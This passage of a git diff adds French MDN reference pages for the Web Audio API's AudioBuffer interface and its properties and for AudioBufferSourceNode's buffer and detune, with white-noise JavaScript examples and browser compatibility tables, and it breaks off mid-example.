+ <dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt>
+ <dd>Crée et retourne un nouvel objet <code>AudioBuffer</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Retourne un nombre flottant qui représente la fréquence d'échantillonnage, en échantillons par seconde, des données PCM stockées dans la mémoire tampon.</dd>
+ <dt>{{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>Retourne un nombre entier qui représente la longueur, en trames d'échantillonnage , des données PCM stockées dans la mémoire tampon.</dd>
+ <dt>{{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>Retourne un nombre à virgule flottante de double précision qui représente la durée, exprimée en secondes, des données PCM stockées dans la mémoire tampon.</dd>
+ <dt>{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>Retourne un nombre entier qui représente le nombre de canaux audio discrets décrits par les données PCM stockées dans la mémoire tampon.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>Retourne un {{domxref ("Float32Array")}} contenant les données PCM associés au canal, défini par l'index du canal (0 représentant le premier canal).</dd>
+ <dt>{{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>Copie les échantillons du canal associé à <span class="idlType"><code>AudioBuffer</code></span> dans un tableau de destination.</dd>
+ <dt>{{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>Copie les échantillons dans le canal associé à <span class="idlType"><code>AudioBuffer</code></span>, depuis le tableau <code>source</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer un  <code>AudioBuffer</code> et le remplir avec du bruit blanc. Le code source est disponible sur notre repo <a href="https://github.com/mdn/audio-buffer">audio-buffer demo</a>; une <a href="http://mdn.github.io/audio-buffer/">version live</a> est également consultable.</p>
+
+<pre class="brush: js;highlight:[7,14,27] line-numbers  language-js"><code class="language-js"><span class="comment token">// Stéréo</span>
+<span class="keyword token">var</span> nombreCanaux <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Crée une mémoire tampon vide de 2 secondes</span>
+<span class="comment token">// à la fréquence d'échantillonage du contexte AudioContext</span>
+<span class="keyword token">var</span> nombreFrames <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span>sampleRate <span class="operator token">*</span> <span class="number token">2.0</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> tableauDonnees <span class="operator token">=</span> audioCtx<span class="punctuation token">.</span><span class="function token">createBuffer</span><span class="punctuation token">(</span>nombreCanaux<span class="punctuation token">,</span> nombreFrames<span class="punctuation token">,</span> contexteAudio<span class="punctuation token">.</span>sampleRate<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+bouton<span class="punctuation token">.</span>onclick <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// remplit la mémoire tampon avec du bruit blanc</span>
+  <span class="comment token">// valeurs aléatoires entre -1.0 et 1.0</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> canal <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> canal <span class="operator token">&lt;</span> nombreCanaux<span class="punctuation token">;</span> canal<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// génère le tableau contenant les données</span>
+    <span class="keyword token">var</span> tampon <span class="operator token">=</span> tableauDonnees<span class="punctuation token">.</span><span class="function token">getChannelData</span><span class="punctuation token">(canal</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> nombreFrames<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Math.random() donne une valeur comprise entre [0; 1.0]</span>
+      <span class="comment token">// l'audio doit être compris entre [-1.0; 1.0]</span>
+      tampon<span class="punctuation token">[</span>i<span class="punctuation token">]</span> <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">2</span> <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Récupère un AudioBufferSourceNode.</span>
+  <span class="comment token">// C'est un AudioNode à utiliser quand on veut jouer AudioBuffer</span>
+  <span class="keyword token">var</span> source <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span><span class="function token">createBufferSource</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// assigne le buffer au AudioBufferSourceNode</span>
+  source<span class="punctuation token">.</span>buffer <span class="operator token">=</span> tableauDonnees<span class="punctuation token">;</span>
+
+  <span class="comment token">// connecte le AudioBufferSourceNode avec</span>
+  <span class="comment token">// la destination pour qu'on puisse entendre le son</span>
+  source<span class="punctuation token">.</span><span class="function token">connect</span><span class="punctuation token">(</span>contexteAudio<span class="punctuation token">.</span>destination<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// lance la lecture du so</span>
+  source<span class="punctuation token">.</span><span class="function token">start</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioBuffer-section', 'AudioBuffer')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(14.0)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}} {{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(27)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>constructeur</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+   <td>{{CompatChrome(28.0)}} {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(27)}}</td>
+   <td> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructeur</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/length/index.html b/files/fr/web/api/audiobuffer/length/index.html
new file mode 100644
index 0000000000..144d83bede
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/length/index.html
@@ -0,0 +1,128 @@
+---
+title: AudioBuffer.length
+slug: Web/API/AudioBuffer/length
+translation_of: Web/API/AudioBuffer/length
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriété <code>length</code> de l'interface {{ domxref("AudioBuffer") }} renvoie un entier représentant la longueur, en trames d'échantillonage, des données PCM stockées dans la mémoire-tampon.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[22]">var tableauMemoireTampon = contexteAudio.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+tableauMemoireTampon.length;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre entier.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight[22]">// Stereo
+var nombreCanaux = 2;
+
+// Crée une mémoire tampon vide de 2 secondes
+// à la fréquence d'échantillonage du contexte AudioContext
+var nombreFrames = contexteAudio.sampleRate * 2.0;
+var tableauDonnees = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+
+
+bouton.onclick = function() {
+  // remplit la mémoire tampon avec du bruit blanc
+  // valeurs aléatoires entre -1.0 et 1.0
+  for (var canal = 0; canal &lt; nombreCanaux; canal++) {
+    // génère le tableau contenant les données
+    var tampon = tableauDonnees.getChannelData(canal);
+    for (var i = 0; i &lt; nombreFrames; i++) {
+      // Math.random() donne une valeur comprise entre [0; 1.0]
+      // l'audio doit être compris entre [-1.0; 1.0]
+      tampon[i] = Math.random() * 2 - 1;
+    }
+  }
+  console.log(tableauDonnees.length);
+}</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-length', 'length')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/numberofchannels/index.html b/files/fr/web/api/audiobuffer/numberofchannels/index.html
new file mode 100644
index 0000000000..23043032e7
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/numberofchannels/index.html
@@ -0,0 +1,129 @@
+---
+title: AudioBuffer.numberOfChannels
+slug: Web/API/AudioBuffer/numberOfChannels
+translation_of: Web/API/AudioBuffer/numberOfChannels
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriété <code>numberOfChannels</code> de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre entier représentant le nombre de canaux audio diiscrets décrits par les données PCM stockées dans la mémoire-tampon.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[22]">var tableauMemoireTampon = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+tableauMemoireTampon.numberOfChannels;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre entier.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight[22]">// Stereo
+var nombreCanaux = 2;
+
+// Crée une mémoire tampon vide de 2 secondes
+// à la fréquence d'échantillonage du contexte AudioContext
+var nombreFrames = contexteAudio.sampleRate * 2.0;
+var tableauDonnees = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+
+
+bouton.onclick = function() {
+  // remplit la mémoire tampon avec du bruit blanc
+  // valeurs aléatoires entre -1.0 et 1.0
+  for (var canal = 0; canal &lt; nombreCanaux; canal++) {
+    // génère le tableau contenant les données
+    var tampon = tableauDonnees.getChannelData(canal);
+    for (var i = 0; i &lt; nombreFrames; i++) {
+      // Math.random() donne une valeur comprise entre [0; 1.0]
+      // l'audio doit être compris entre [-1.0; 1.0]
+      tampon[i] = Math.random() * 2 - 1;
+    }
+  }
+  console.log(tableauDonnees.numberOfChannels);
+}
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-numberOfChannels', 'numberOfChannels')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/samplerate/index.html b/files/fr/web/api/audiobuffer/samplerate/index.html
new file mode 100644
index 0000000000..be7a7baca5
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/samplerate/index.html
@@ -0,0 +1,129 @@
+---
+title: AudioBuffer.sampleRate
+slug: Web/API/AudioBuffer/sampleRate
+translation_of: Web/API/AudioBuffer/sampleRate
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriété <code>sampleRate</code> de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre à virgule flottante  représentant la taux d'échantillonage, en échantillons par seconde, des données PCM stockées dans la mémoire-tampon.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[22]">var tableauMemoireTampon = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+tableauMemoireTampon.sampleRate;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre à virgule flottante indiquant le taux d'échantillonnage actuelle des données du tampon, en echantillonnage par seconde.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight[22]">// Stereo
+var nombreCanaux = 2;
+
+// Crée une mémoire tampon vide de 2 secondes
+// à la fréquence d'échantillonage du contexte AudioContext
+var nombreFrames = contexteAudio.sampleRate * 2.0;
+var tableauDonnees = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+
+
+bouton.onclick = function() {
+  // remplit la mémoire tampon avec du bruit blanc
+  // valeurs aléatoires entre -1.0 et 1.0
+  for (var canal = 0; canal &lt; nombreCanaux; canal++) {
+    // génère le tableau contenant les données
+    var tampon = tableauDonnees.getChannelData(canal);
+    for (var i = 0; i &lt; nombreFrames; i++) {
+      // Math.random() donne une valeur comprise entre [0; 1.0]
+      // l'audio doit être compris entre [-1.0; 1.0]
+      tampon[i] = Math.random() * 2 - 1;
+    }
+  }
+  console.log(tableauDonnees.sampleRate);
+}
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-sampleRate', 'sampleRate')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/buffer/index.html b/files/fr/web/api/audiobuffersourcenode/buffer/index.html
new file mode 100644
index 0000000000..7973ada3dc
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/buffer/index.html
@@ -0,0 +1,154 @@
+---
+title: AudioBufferSourceNode.buffer
+slug: Web/API/AudioBufferSourceNode/buffer
+translation_of: Web/API/AudioBufferSourceNode/buffer
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div class="summary">
+<p>La propriété <code><strong>buffer</strong></code> de l'interface {{ domxref("AudioBufferSourceNode") }} donne la possibilité de lire un son en utilisant un {{domxref("AudioBuffer")}} comme ressource audio.</p>
+</div>
+
+<p>Si la propriété <code>buffer</code> a la valeur NULL, elle définit un canal unique silencieux (chaque échantillon vaut 0).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>AudioBufferSourceNode</em>.buffer = <em>soundBuffer</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("AudioBuffer")}} qui contient les données représentant le son que le noeud va lire.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<div class="note">
+<p><strong>Note</strong>: pour un exemple complet, voir <a class="external external-icon" href="http://mdn.github.io/audio-buffer/">le code interprété</a>, ou <a class="external external-icon" href="https://github.com/mdn/audio-buffer">le code source</a>.</p>
+</div>
+
+<pre class="brush: js;highlight[19]">var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Remplit le buffer avec du bruit blanc;
+  // valeurs aléatoires entre -1.0 et 1.0
+  for (var channel = 0; channel &lt; channels; channel++) {
+   // Crée le ArrayBuffer qui contient effectivement les données
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i &lt; frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio doit être compris entre [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Crée un AudioBufferSourceNode.
+  // C'est le AudioNode à utiliser pour jouer un AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // Définit le buffer dans l'AudioBufferSourceNode
+  source.buffer = myArrayBuffer;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Audio API", "#widl-AudioBufferSourceNode-buffer", "buffer")}}</td>
+   <td>{{Spec2("Web Audio API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)<sup>[2]</sup></th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Propriété <code>detune</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("40.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)<sup>[2]</sup></th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Propriété <code>detune</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] supprimé dans Chrome 44.0. Etait supporté avec un préfixe <code>webkit</code> depuis la version 14.</p>
+
+<p>[2] Firefox ne gère pas correctement la valeur <code>null</code>. Au lieu de produire un noeud avec un seul canal silencieux, le noeud devient inutilisable et est ignoré si on essaie de le connecter à un autre noeud.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioBufferSourceNode","See_also")}}</p>
diff --git a/files/fr/web/api/audiobuffersourcenode/detune/index.html b/files/fr/web/api/audiobuffersourcenode/detune/index.html
new file mode 100644
index 0000000000..60fc6f0121
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/detune/index.html
@@ -0,0 +1,80 @@
+---
+title: AudioBufferSourceNode.detune
+slug: Web/API/AudioBufferSourceNode/detune
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioBufferSourceNode/detune
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>La  propriété <code>detune</code> de l'interface {{ domxref("AudioBufferSourceNode") }} est un {{domxref("AudioParam")}} de type <a href="/fr/docs/DOM/AudioParam#k-rate">k-rate</a> représentant le désaccord des oscillations en <a href="http://en.wikipedia.org/wiki/Cent_%28music%29">cents</a>.</p>
+
+<p>Ses valeur sont comprises entre -1200 et 1200.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> source <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span><span class="function token">createBufferSource<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code>
+source.detune.value = 100; // valeur en cents</pre>
+
+<div class="note">
+<p><strong>Note:</strong> bien que l'<code>AudioParam</code> renvoyé soit en lecture seule, la valeur qu'il représente ne l'est pas.</p>
+</div>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("AudioParam")}} de type <a href="/fr/docs/DOM/AudioParam#k-rate">k-rate</a>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight[9]">var audioCtx = new AudioContext();
+
+var nbChan = 2;
+var nbFrames = audioCtx.sampleRate * 2.0;
+
+var audioBuffer = audioCtx.createBuffer(nbChan, nbFrames, audioCtx.sampleRate);
+
+for (var chan = 0; chan &lt; nbChan; chan++) {
+  var chanData = audioBuffer.getChannelData(chan);
